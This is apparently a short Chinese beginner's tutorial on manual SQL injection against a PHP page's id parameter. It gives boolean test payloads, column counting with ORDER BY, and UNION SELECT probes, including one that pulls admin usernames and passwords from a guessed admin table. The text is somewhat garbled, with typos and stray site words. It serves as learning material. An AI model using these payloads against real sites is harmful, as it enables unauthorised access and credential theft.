sql的通常查询语句(增删改查中的查)

/*例子  判断规则
http://xxx.xxx/new.php?id=57 and 1=1  正确
http://xxx.xxx/new.php?id=57 and 1=2  错误
http://xxx.xxx/new.php?id=57 and 2-1=1  正确
http://xxx.xxx/new.php?id=57 and 2-1=2  错误
http://xxx.xxx/new.php?id=57 and a=a  正确
http://xxx.xxx/new.php?id=57 and 'a'='a'  错误
*/固然 不一样网站可能有不一样的判断规则
View Code
以上代码 为了判断 数据库 能够执行什么语句 证实逻辑是正确的的

order by 列数或者列名
/*ORDER BY 语句用于根据指定的列队结果集进行排序*/

对了 order by 1 正常 order by 2 正常 order by 3 不正常 就表明有两个字段 也就是两列php

union select 1,2 form user
/* union select 查字段 
    form 翻译成中文 就是 来自的意思  来自某某个数据表
*/

admin表 username表 user表 sys_admin 都是经常使用的表数据库

那么继续看上边的 查字段 ide

union select admin,password from admin

system也是经常使用的表 这些都须要本身去猜想 判断 学习

本篇文章仅为小白学习交流 大佬勿喷网站

相关文章
相关标签/搜索